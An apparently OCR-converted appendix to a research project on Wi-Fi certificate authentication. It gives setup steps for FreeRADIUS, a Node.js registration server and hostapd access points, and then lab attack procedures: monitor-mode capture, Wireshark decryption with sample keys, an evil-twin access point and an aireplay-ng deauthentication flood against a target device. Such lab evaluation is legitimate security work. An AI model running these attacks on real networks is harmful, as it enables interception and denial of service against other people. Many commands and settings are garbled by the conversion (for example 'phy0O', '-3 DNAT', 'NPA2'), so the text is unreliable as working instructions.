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1 Implementation

1.1 Devices/Software Required

The following devices and software were used during the implementation of the solution for
this research project:

Name Device Required Software
RADIUS Server Ubuntu 20.04 VM - FreeRadius 3.0
- 2GBRAM
- 2vCPU
- 20 GB disk space
Web Server Windows 11 - Node.js 16.14.0
- 4GB RAM - WInRAR 6.22
- 4CPU - OpenSSL 1.1.1m
- 100 GB disk space - GitBash 2.35.1.windows.2
Access Point 1 Zyxel D2000 Modem N/A
Access Point 2 Ubuntu 20.04 laptop with - Hostapd 2.10
internet sharing capabilities - Iptables 1.8.7
- 2GBRAM - UDHCPD 1.30.1
- 2CPU
- 20 GB disk space

2 Configuration

Extract all files from zipped folder.

2.1 RADIUS Server

1. Deploy an Ubuntu 20.04 VM, ensuring it has network connectivity
2. Install FreeRadius 3.0 on the VM

3. With root access, navigate to the following folder:
/etc/freeradius/3.0/certs

4. Copy the contents from the folder /certs in the zipped folder, to this folder. Replace
any files as required

5. Ensure that the permissions of the files have the owner set as freerad and root, as
below (e.g., chown freerad:freerad server.pem):



9.

Copy the file eap from the zipped folder, and replace the file at the following location,

ensuring its permissions have the owner set to freerad:
/etc/freeradius/3.0/mods-available/eap

Edit the following file:

/etc/freeradius/3.0/clients.conf
Under the section Define RADIUS clients, add the following section to add Access
Point 1 as an authorized client for the RADIUS server:

Restart FreeRadius to ensure changes take effect.

2.2 Web Server

1.

o

Deploy Windows 11 machine (physical was used during implementation, but could be
virtual)

Install required software

Copy all files from zipped folder to a directory on machine

Right-click the folder wifiapp, and select Git Bash Here. Type to following
command to create a Node.js web project (press Enter to use the default values for

each attribute when asked. Except for entry point, when app.js should be used:
1.npm init



5. Type the following commands to install required Node.js modules
1. npm install -save express pug path body-parser
connect-flash express-session csurf cookie-parser
node-cmd fs
2. npm install -g bower
3. bower install bootstrap
4. bower install jquery

6. Type the following command to start the web server:
1. nodemon

fc/temp/RPwifiapp

server started on port 80

2.3 Access Point 1

1. Ensure the access point is connected to the same network as the RADIUS server

2. Configure the access point to use WPA encryption, and ensure the IP address is the
same as for the RADIUS server:

Security Mode : NPA2 w

Authentication Server

P Address [192.168.0.90 |
Port Number (1812 J
Shared Secret kEEt“g'ES |more

2.4 Access Point 2

1. Deploy Ubuntu machine to act as Access Point 2, install required software, and ensure
it is connected to the same network as the Web server

2. Configure UDHCP to act as a DHCP server by editing the file at /etc/udhcpd.conf,
and adding the following configuration:




Ensure the router address is the IP of the Ubuntu Access Point

3. Copy the file hostapd reg.conf from the zipped folder to the Ubuntu Access

Point, then run the following commands:

1. sudo iw phy phy0O interface add hotspotl type  ap
2. sudo ifconfig hotspotl 192.168.13.2 up
3. sudo udhcpd -f
4. sudo hostapd <path to Hostapd conf
file>/hostapd reg.conf

*Run the following commands as root user*

5. echo "1" > /proc/sys/net/ipv4/ip forward

6. iptables --table nat --append POSTROUTING --out-
interface wlp2s0 -j MASQUERADE

7. iptables -t nat -A PREROUTING -p tcp -—-dport 80 -
3 DNAT —-to-destination <IP address of Web
Server>:80

8. iptables -t nat -A PREROUTING -p tcp -—-dport 443
-j DNAT --to-destination <IP address of Web
Server>:80

Once this configuration has been setup, connect to RePro-WiFi-Registration, attempt to
browse the internet, then following instructions to register and connect to RePro-WiFi using
digital certificate authentication.

3 Evaluation

The following sections outline how to perform the evaluation methods used for assessing the
security of Digital Certificate Authentication.

3.1 Devices/Software Required

Name Device Required Software
Attacking laptop Linux Mint 21.1 laptop - Aircrack-ng 1.6 (suite of tools
- 8GBRAM which includes airmon-ng,
- 4vCPU Airodump-ng, and aireplay-
- 10 GB disk space ng)
- Wireshark 3.6.2
Wireless Adapter | ASUSO36NHA - N/A




In addition to the wireless network configured above, configure 4 other wireless networks
with the following security methods:

1.
2.
3.

4.

Unsecured (open Wi-Fi, no security method)

Captive Portal

WEP-PSK (any pre-shared key is suitable, as it is assumed the attacker will have
access to it)

WPAZ2-PSK (any pre-shared key is suitable, as it is assumed the attacker will have
access to it)

3.2 Testing

3.2.1 Network Eavesdropping

1.

Configure the attacking laptop in monitoring mode, using Airmon-ng (some settings,
such as interface names, may differ depending the device being used):

1. sudo airmon-ng check kill

2. sudo airmon-ng start wlanO
Run the following command to find the target network, identifying the BSSID and

Channel Number of the network:
1. sudo airodump-ng wlanOmon

File Edit View Search Terminal Help

CH 1 ][ Elapsed: 12 s -86 14:56

B55ID eacons #Data, #/5 C

BSSID STATION ost s Notes Probes

(not
(not a
(not a
(not

Start traffic capture using the following command:
1. sudo airodump-ng wlanOmon -bssid <BSSID> -c
<Channel> -w capture

4. Using Wireshark, open the traffic capture

a. For WEP-PSK and WPA2-PSK protected networks, navigate to Edit >
Preferences > Protocols > 802.11n
b. Ensure Enable Decryption is selection, then select Edit



3.2.2

=

HSRP IEEE 802.11 wireless LAN

HTTP
HTTP2 Reassemble fragmented 802.11 datagrams
IAPP [C] 1gnore vendor-specific HT elements
1AX2
1B Call subdissector for retransmitted 802.11 frames
ICAP —
L
\CEP - Assume packets have FCS
ICMP |_I validate the FCS checksum if possible
:EE} I Ignore the Protection bit
IEC 60870-5- O no
IEC 60870-5- () Yes - without IV
IEC 608705 (O Yes - with IV
IEEE 802.11 —
EEE 802154 |_| Enable WPA Key MIC Length override

|EEE 802.1AH WPA Key MIC Length override 0
IEEE1722

iFCP [ Treat as S1G

e = .

IMAP @ Enable decryption

IMF Decryption keys Edit...
INAP

Infiniband 5C

Interlink

IPDC

OK Cancel Help

c. Select the + symbol to add a new key

d. For WEP key, set Key Type to wep, then enter the PSK as hexadecimal. For
WPAZ2 key, set Key Type to wpa-pwd, then enter as the format
<PSK>:<SSID>

|
Key type Key
wipa-pwd testing123123:RePro-WiFi-WPA2
wep T4657374696E67313233313233

View captured traffic

2.2 Evil Twin

From the zipped folder, copy the folder ET to the attacking device
For each Hostapd configuration file, edit the SSID and PSK settings to match the
SSID and PSK of the target network, as required

. Repeat steps 1-6 from section 2.4 (Access Point 2 setup). However, use the Hostapd

configuration file for the target network in step 4 (e.g., when replicating the WEP-
PSK network, use the command sudo hostapd <path to Hostapd conf
file>/ET/hostapd wep.conf)
Force the target device off the target network by performing a deauthentication attack
using Aireplay-ng:
1. sudo aireplay-ng --deauth 1000 -a <network BSSID> -c
<Target MAC Address> wlanO



Network BSSID and Target MAC Address can be found during Eavesdropping attack,
step 2 and 3.

5. Open Wireshark and begin capturing traffic on the hotspot1 interface to monitor
traffic from target devices.



